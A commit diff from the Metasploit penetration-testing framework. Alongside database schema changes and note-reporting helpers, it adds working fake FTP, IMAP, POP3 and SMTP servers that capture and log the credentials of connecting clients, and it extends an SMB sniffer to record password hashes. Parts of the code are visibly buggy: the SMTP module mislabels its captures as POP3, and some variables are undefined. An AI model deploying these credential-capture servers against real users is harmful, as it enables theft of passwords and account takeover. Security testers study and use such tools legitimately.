Lots of updates related to <secret project X>.

git-svn-id: file:///home/svn/framework3/trunk@5424 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2008-03-02 04:46:13 +00:00
parent 3e81678f93
commit 509fc09382
13 changed files with 712 additions and 22 deletions

View File

@ -1,6 +1,7 @@
create table hosts (
id SERIAL PRIMARY KEY,
created TIMESTAMP,
address VARCHAR(16) UNIQUE,
comm VARCHAR(255),
name VARCHAR(255),
@ -12,6 +13,7 @@ info VARCHAR(1024)
create table services (
id SERIAL PRIMARY KEY,
host_id INTEGER,
created TIMESTAMP,
port INTEGER NOT NULL,
proto VARCHAR(16) NOT NULL,
state VARCHAR(255),
@ -23,6 +25,7 @@ info VARCHAR(1024)
create table vulns (
id SERIAL PRIMARY KEY,
service_id INTEGER,
created TIMESTAMP,
name VARCHAR(255),
data TEXT
);
@ -31,6 +34,7 @@ data TEXT
create table refs (
id SERIAL PRIMARY KEY,
ref_id INTEGER,
created TIMESTAMP,
name VARCHAR(512)
);
@ -39,3 +43,12 @@ create table vulns_refs (
ref_id INTEGER,
vuln_id INTEGER
);
create table notes (
id SERIAL PRIMARY KEY,
host_id INTEGER,
created TIMESTAMP,
ntype VARCHAR(512),
data TEXT
);

View File

@ -2,6 +2,7 @@ drop table hosts;
create table hosts (
id SERIAL PRIMARY KEY,
created TIMESTAMP,
address VARCHAR(16) UNIQUE,
comm VARCHAR(255),
name VARCHAR(255),
@ -14,6 +15,7 @@ drop table services;
create table services (
id SERIAL PRIMARY KEY,
host_id INTEGER,
created TIMESTAMP,
port INTEGER NOT NULL,
proto VARCHAR(16) NOT NULL,
state VARCHAR(255),
@ -26,6 +28,7 @@ drop table vulns;
create table vulns (
id SERIAL PRIMARY KEY,
service_id INTEGER,
created TIMESTAMP,
name VARCHAR(255),
data TEXT
);
@ -35,6 +38,7 @@ drop table refs;
create table refs (
id SERIAL PRIMARY KEY,
ref_id INTEGER,
created TIMESTAMP,
name VARCHAR(512)
);
@ -44,3 +48,13 @@ create table vulns_refs (
ref_id INTEGER,
vuln_id INTEGER
);
drop table notes
create table notes (
id SERIAL PRIMARY KEY,
host_id INTEGER,
created TIMESTAMP,
ntype VARCHAR(512),
data TEXT
);

View File

@ -1,6 +1,7 @@
drop table hosts;
create table hosts (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'address' VARCHAR(16) UNIQUE,
'comm' VARCHAR(255),
'name' VARCHAR(255),
@ -12,6 +13,7 @@ drop table services;
create table services (
'id' INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,
'created' TIMESTAMP,
'port' INTEGER NOT NULL,
'proto' VARCHAR(16) NOT NULL,
'state' VARCHAR(255),
@ -23,6 +25,7 @@ drop table vulns;
create table vulns (
'id' INTEGER PRIMARY KEY NOT NULL,
'service_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(1024),
'data' TEXT
);
@ -31,6 +34,7 @@ drop table refs;
create table refs (
'id' INTEGER PRIMARY KEY NOT NULL,
'ref_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(512)
);
@ -39,3 +43,12 @@ create table vulns_refs (
'ref_id' INTEGER,
'vuln_id' INTEGER
);
drop table notes;
create table notes (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'host_id' INTEGER,
'ntype' VARCHAR(512),
'data' TEXT
);

View File

@ -11,6 +11,12 @@ module Auxiliary::Report
#
# Report host and service information
#
# Shortcut method for detecting when the DB is active
def db
framework.db.active
end
def report_host(opts)
return if not db
addr = opts[:host] || return
@ -39,11 +45,28 @@ module Auxiliary::Report
serv.save!
end
end
# Shortcut method for detecting when the DB is active
def db
framework.db.active
def report_note(opts={})
return if not db
addr = opts[:host] || return
ntype = opts[:type] || return
data = opts[:data] || return
host = framework.db.report_host_state(self, addr, Msf::HostState::Alive)
note = framework.db.get_note(self, host, ntype, data)
end
def report_auth_info(opts={})
addr = opts[:host] || return
data = opts[:proto] || return
opts[:type] = "auth_#{opts[:proto]}"
opts[:data] =
"AUTH #{ opts[:targ_host] || 'unknown' }:#{ opts[:targ_port] || 'unknown' } " +
"#{opts[:user] || "<NULL>"} #{opts[:pass] || "<NULL>" } #{opts[:extra]}"
report_note(opts)
end
end
end

View File

@ -193,14 +193,32 @@ class DBManager
def vulns
Vuln.find(:all)
end
#
# This method iterates the notes table calling the supplied block with the
# note instance of each entry.
#
def each_note(&block)
notes.each do |note|
block.call(note)
end
end
#
# This methods returns a list of all notes in the database
#
def notes
Note.find(:all)
end
#
# Find or create a host matching this address/comm
#
def get_host(context, address, comm='')
host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm])
if (not host)
host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown)
host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown, :created => Time.now)
host.save
framework.events.on_db_host(context, host)
end
@ -218,7 +236,8 @@ class DBManager
:host_id => host.id,
:proto => proto,
:port => port,
:state => state
:state => state,
:created => Time.now
)
rec.save
framework.events.on_db_service(context, rec)
@ -235,7 +254,8 @@ class DBManager
vuln = Vuln.create(
:service_id => service.id,
:name => name,
:data => data
:data => data,
:created => Time.now
)
vuln.save
framework.events.on_db_vuln(context, vuln)
@ -251,7 +271,8 @@ class DBManager
ref = Ref.find(:first, :conditions => [ "name = ?", name])
if (not ref)
ref = Ref.create(
:name => name
:name => name,
:created => Time.now
)
ref.save
framework.events.on_db_ref(context, ref)
@ -260,6 +281,24 @@ class DBManager
return ref
end
#
# Find or create a note matching this type/data
#
def get_note(context, host, ntype, data)
rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host.id, ntype, data])
if (not rec)
rec = Note.create(
:host_id => host.id,
:ntype => ntype,
:data => data,
:created => Time.now
)
rec.save
framework.events.on_db_note(context, rec)
end
return rec
end
#
# Find a reference matching this name
#

View File

@ -84,5 +84,16 @@ class VulnRefs < ActiveRecord::Base
include DBSave
end
# Service object definition
class Note < ActiveRecord::Base
include DBSave
belongs_to :host
def host
Host.find(:first, :conditions => [ "id = ?", host_id ])
end
end
end
end

View File

@ -32,8 +32,10 @@ module Db
"db_hosts" => "List all hosts in the database",
"db_services" => "List all services in the database",
"db_vulns" => "List all vulnerabilities in the database",
"db_notes" => "List all notes in the database",
"db_add_host" => "Add one or more hosts to the database",
"db_add_port" => "Add a port to host",
"db_add_note" => "Add a note to host",
"db_autopwn" => "Automatically exploit everything",
"db_import_nessus_nbe" => "Import a Nessus scan result file (NBE)",
"db_import_nmap_xml" => "Import a Nmap scan results file (-oX)",
@ -43,27 +45,34 @@ module Db
def cmd_db_hosts(*args)
framework.db.each_host do |host|
print_status("Host: #{host.address}")
print_status("Time: #{host.created} Host: #{host.address}")
end
end
def cmd_db_services(*args)
framework.db.each_service do |service|
print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state} name=#{service.name}")
print_status("Time: #{service.created}] Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state} name=#{service.name}")
end
end
def cmd_db_vulns(*args)
framework.db.each_vuln do |vuln|
reflist = vuln.refs.map { |r| r.name }
print_status("Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}")
print_status("Time: #{vuln.created} Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}")
end
end
def cmd_db_notes(*args)
framework.db.each_note do |note|
print_status("Time: #{note.created} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}")
end
end
def cmd_db_add_host(*args)
print_status("Adding #{args.length.to_s} hosts...")
args.each do |address|
framework.db.get_host(nil, address)
host = framework.db.get_host(nil, address)
print_status("Time: #{host.created} Host: host=#{service.host.address}")
end
end
@ -79,9 +88,28 @@ module Db
service = framework.db.get_service(nil, host, args[2].downcase, args[1].to_i)
return if not service
print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}")
print_status("Time: #{service.created} Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}")
end
def cmd_db_add_note(*args)
if (not args or args.length < 3)
print_status("Usage: db_add_note [host] [type] [note]")
return
end
naddr = args.shift
ntype = args.shift
ndata = args.join(" ")
host = framework.db.get_host(nil, naddr)
return if not host
note = framework.db.get_note(nil, host, ntype, ndata)
return if not note
print_status("Time: #{note.created} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}")
end
#
# A shotgun approach to network-wide exploitation
#

View File

@ -830,6 +830,78 @@ EVADE = Rex::Proto::SMB::Evasions
self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, false)
end
# Authenticate using extended security negotiation (NTLMv2), but stop half-way, using the temporary ID
def session_setup_ntlmv2_temp(domain = '', name = nil)
if (name == nil)
name = Rex::Text.rand_text_alphanumeric(16)
end
blob = UTILS.make_ntlmv2_secblob_init(domain, name)
native_data = ''
native_data << self.native_os + "\x00"
native_data << self.native_lm + "\x00"
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
pkt['Payload'].v['Capabilities'] = 0x8000d05c
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = blob + native_data
self.smb_send(pkt.to_s)
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
# The server doesn't know about NTLM_NEGOTIATE, try ntlmv1
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
return session_setup_ntlmv1(user, pass, domain)
end
# Make sure the error code tells us to continue processing
if (ack['Payload']['SMB'].v['ErrorClass'] != 0xc0000016)
failure = XCEPT::ErrorCode.new
failure.word_count = ack['Payload']['SMB'].v['WordCount']
failure.command = ack['Payload']['SMB'].v['Command']
failure.error_code = ack['Payload']['SMB'].v['ErrorClass']
raise failure
end
# Extract the SecurityBlob from the response
data = ack['Payload'].v['Payload']
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
# Extract the native lanman and os strings
info = data.split(/\x00/)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
# Save the temporary UserID for use in the next request
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
# Extract the NTLM challenge key the lazy way
cidx = blob.index("NTLMSSP\x00\x02\x00\x00\x00")
if (cidx == -1)
raise XCEPT::NTLM2MissingChallenge
end
# Store the challenge key
self.challenge_key = blob[cidx + 24, 8]
return ack
end
# Connect to a specified share with an optional password
def tree_connect(share = 'IPC$', pass = '')
@ -1591,7 +1663,6 @@ EVADE = Rex::Proto::SMB::Evasions
attr_reader :security_mode, :server_guid
# private methods
protected
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id

View File

@ -0,0 +1,108 @@
##
# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Server::Capture::Ftp < Msf::Auxiliary
include Exploit::Remote::TcpServer
include Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: FTP',
'Version' => '$Revision: 5069 $',
'Description' => %q{
This module provides a fake FTP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
], self.class)
end
def setup
super
@state = {}
end
def run
exploit()
end
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "220 FTP Server Ready\r\n"
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
if(cmd.upcase == "USER")
@state[c][:user] = arg
c.put "331 User name okay, need password...\r\n"
return
end
if(cmd.upcase == "QUIT")
c.put "221 Logout\r\n"
return
end
if(cmd.upcase == "PASS")
@state[c][:pass] = arg
report_auth_info(
:host => @state[c][:ip],
:proto => 'ftp',
:targ_host => datastore['SRVHOST'],
:targ_port => datastore['SRVPORT'],
:user => @state[c][:user],
:pass => @state[c][:pass]
)
print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
end
@state[c][:pass] = data.strip
c.put "500 Error\r\n"
return
end
def on_client_close(c)
@state.delete(c)
end
end
end

View File

@ -0,0 +1,96 @@
##
# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Server::Capture::Imap < Msf::Auxiliary
include Exploit::Remote::TcpServer
include Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: IMAP',
'Version' => '$Revision: 5069 $',
'Description' => %q{
This module provides a fake IMAP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
], self.class)
end
def setup
super
@state = {}
end
def run
exploit()
end
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "* OK IMAP4\r\n\r\n"
end
def on_client_data(c)
data = c.get_once
return if not data
num,cmd,arg = data.strip.split(/\s+/, 3)
arg ||= ""
if(cmd.upcase == "LOGIN")
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
report_auth_info(
:host => @state[c][:ip],
:proto => 'imap',
:targ_host => datastore['SRVHOST'],
:targ_port => datastore['SRVPORT'],
:user => @state[c][:user],
:pass => @state[c][:pass]
)
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
end
@state[c][:pass] = data.strip
c.put "#{num} NO LOGIN FAILURE\r\n"
return
end
def on_client_close(c)
@state.delete(c)
end
end
end

View File

@ -0,0 +1,102 @@
##
# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Server::Capture::Pop3 < Msf::Auxiliary
include Exploit::Remote::TcpServer
include Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: POP3',
'Version' => '$Revision: 5069 $',
'Description' => %q{
This module provides a fake POP3 service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ])
], self.class)
end
def setup
super
@state = {}
end
def run
exploit()
end
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "+OK\r\n"
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
if(cmd.upcase == "USER")
@state[c][:user] = arg
c.put "+OK\r\n"
return
end
if(cmd.upcase == "PASS")
@state[c][:pass] = arg
report_auth_info(
:host => @state[c][:ip],
:proto => 'pop3',
:targ_host => datastore['SRVHOST'],
:targ_port => datastore['SRVPORT'],
:user => @state[c][:user],
:pass => @state[c][:pass]
)
print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
end
@state[c][:pass] = data.strip
c.put "-ERR\r\n"
return
end
def on_client_close(c)
@state.delete(c)
end
end
end

View File

@ -1,5 +1,5 @@
##
# $Id$
# $Id: smb_sniffer.rb 5241 2007-12-31 03:03:08Z hdm $
##
##
@ -14,15 +14,15 @@ require 'msf/core'
module Msf
class Auxiliary::Server::SMBSniffer < Msf::Auxiliary
class Auxiliary::Server::Capture::SMBSniffer < Msf::Auxiliary
include Auxiliary::Report
include Exploit::Remote::SMBServer
def initialize
super(
'Name' => 'SMB Server Challenge/Response Sniffer',
'Version' => '$Revision$',
'Name' => 'Authentication Capture: SMB',
'Version' => '$Revision: 5241 $',
'Description' => %q{
This module provides a SMB service that can be used to
capture the challenge-response password hashes of SMB client
@ -194,6 +194,35 @@ class Auxiliary::Server::SMBSniffer < Msf::Auxiliary
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
)
report_auth_info(
:host => smb[:ip],
:proto => 'smb_challenge',
:targ_host => datastore['SRVHOST'],
:targ_port => datastore['SRVPORT'],
:user => smb[:username],
:pass =>
( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ),
:extra => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}"
)
report_note(
:host => smb[:ip],
:type => "smb_peer_os",
:data => smb[:peer_os]
) if smb[:peer_os]
report_note(
:host => smb[:ip],
:type => "smb_peer_lm",
:data => smb[:peer_lm]
) if smb[:peer_lm]
report_note(
:host => smb[:ip],
:type => "smb_domain",
:data => smb[:domain]
) if smb[:domain]
fd = File.open(datastore['LOGFILE'], "a")
fd.puts(
[
@ -255,8 +284,5 @@ class Auxiliary::Server::SMBSniffer < Msf::Auxiliary
end
end
end

View File

@ -0,0 +1,146 @@
##
# $Id: socks_unc.rb 5069 2007-08-08 02:46:31Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Server::Capture::Smtp < Msf::Auxiliary
include Exploit::Remote::TcpServer
include Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: SMTP',
'Version' => '$Revision: 5069 $',
'Description' => %q{
This module provides a fake SMTP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ])
], self.class)
end
def setup
super
@state = {}
end
def run
exploit()
end
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "220 SMTP Server Ready\r\n"
end
def on_client_data(c)
data = c.get_once
return if not data
print_status("SMTP: #{data.strip}")
if(@state[c][:data_mode])
@state[c][:data_buff] ||= ''
@state[c][:data_buff] += data
idx = @state[c][:data_buff].index("\r\n.\r\n")
if(idx)
report_note(
:host => @state[c][:ip],
:type => "smtp_message",
:data => @state[c][:data_buff][0,idx]
)
@state[c][:data_buff] = nil
@state[c][:data_mode] = nil
c.put "250 OK\r\n"
end
return
end
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
case cmd.upcase
when 'HELO', 'EHLO'
c.put "250 OK\r\n"
return
when 'MAIL'
x,from = data.strip.split(":", 2)
@state[c][:from] = from.strip
c.put "250 OK\r\n"
return
when 'RCPT'
x,targ = data.strip.split(":", 2)
@state[c][:rcpt] = targ.strip
c.put "250 OK\r\n"
return
when 'DATA'
@state[c][:data_mode] = true
c.put "354 OK\r\n"
return
when 'QUIT'
c.put "221 OK\r\n"
return
when 'PASS'
@state[c][:pass] = arg
report_auth_info(
:host => @state[c][:ip],
:proto => 'pop3',
:targ_host => datastore['SRVHOST'],
:targ_port => datastore['SRVPORT'],
:user => @state[c][:user],
:pass => @state[c][:pass]
)
print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
end
c.put "503 Server Error\r\n"
return
end
def on_client_close(c)
@state.delete(c)
end
end
end